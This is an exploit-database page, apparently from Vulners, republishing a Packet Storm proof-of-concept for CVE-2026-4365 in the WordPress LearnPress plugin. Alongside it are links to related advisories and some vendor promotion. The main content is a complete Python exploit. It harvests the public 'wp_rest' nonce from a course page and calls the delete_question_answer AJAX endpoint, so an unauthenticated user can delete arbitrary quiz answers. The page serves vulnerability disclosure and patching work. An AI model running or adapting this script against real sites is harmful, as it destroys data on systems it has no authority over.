Lucene search
+L

📄 WordPress LearnPress 4.3.2.8 Unauthenticated Quiz Answer Deletion

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 28 Views

Unauthenticated quiz answer deletion in LearnPress up to 4.3.2.8 due to missing access control.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-4365
14 Apr 202601:24
attackerkb
Circl
CVE-2026-4365
14 Apr 202603:02
circl
CNNVD
WordPress plugin LearnPress 安全漏洞
14 Apr 202600:00
cnnvd
CVE
CVE-2026-4365
14 Apr 202601:24
cve
Cvelist
CVE-2026-4365 LearnPress <= 4.3.2.8 - Missing Authorization to Unauthenticated Arbitrary Quiz Answer Deletion
14 Apr 202601:24
cvelist
EUVD
EUVD-2026-22197
14 Apr 202601:24
euvd
NVD
CVE-2026-4365
14 Apr 202602:16
nvd
Patchstack
WordPress LearnPress plugin <= 4.3.2.8 - Missing Authorization to Unauthenticated Arbitrary Quiz Answer Deletion vulnerability
14 Apr 202611:01
patchstack
Positive Technologies
PT-2026-32587
14 Apr 202600:00
ptsecurity
RedhatCVE
CVE-2026-4365
5 Jun 202619:14
redhatcve
Rows per page
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin LearnPress <= 4.3.2.8 - Unauthenticated Quiz Answer Deletion (Broken Access Control)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/learnpress/
    # Software Link: https://downloads.wordpress.org/plugin/learnpress.4.3.2.8.zip
    # Version: 4.3.2.8 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-4365
    r"""
    LearnPress <= 4.3.2.8 dispatches EditQuestionAjax::catch_lp_ajax() on 'init' (learnpress.php:704),
    for every front-end request. The delete_question_answer() handler
    (inc/Ajax/EditQuestionAjax.php:285-310) reads question_answer_id from the JSON body and calls
    QuestionAnswerModel::delete() (:301) with NO current_user_can() / ownership check — the only gate is
    the shared AbstractAjax nonce check against 'wp_rest' (AbstractAjax.php:33). The anonymous 'wp_rest'
    nonce is printed publicly in the inline <script id="lpData"> on any LearnPress front-end page
    (inc/class-lp-assets.php:123), so an unauthenticated attacker harvests it and deletes arbitrary quiz
    answer rows.
    
    Prior state: a question with answer rows (in wp_learnpress_question_answers). For single/multi choice
    questions the guard keeps >2 answers, so seed 3.
    """
    import argparse, sys, re, json
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--question-id", type=int, required=True)
        ap.add_argument("--answer-id", type=int, required=True, help="quiz answer row id to delete")
        ap.add_argument("--nonce-page", default="/courses/", help="LearnPress front page emitting lpData")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        h = requests.get(base + args.nonce_page, verify=False, timeout=20).text
        m = (re.search(r'lpData[^<]*?"nonce":"([0-9a-f]{10})"', h)
             or re.search(r'"nonce":"([0-9a-f]{10})"', h))
        if not m:
            print("[-] no lpData wp_rest nonce found"); return 1
        nonce = m.group(1)
        print(f"[*] Target: {base} | public wp_rest nonce: {nonce}")
        data = json.dumps({"question_id": args.question_id, "question_answer_id": args.answer_id})
        r = requests.post(base + "/?lp-load-ajax=delete_question_answer",
                          data={"nonce": nonce, "data": data}, verify=False, timeout=20)
        print(f"[*] delete answer {args.answer_id} -> HTTP {r.status_code} :: {r.text[:120]}")
        if '"status":"success"' in r.text:
            print(f"\n[+] BROKEN ACCESS CONTROL CONFIRMED — unauthenticated caller deleted quiz answer "
                  f"row {args.answer_id} (verify: it is gone from wp_learnpress_question_answers).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.1
EPSS0.00867
SSVC
28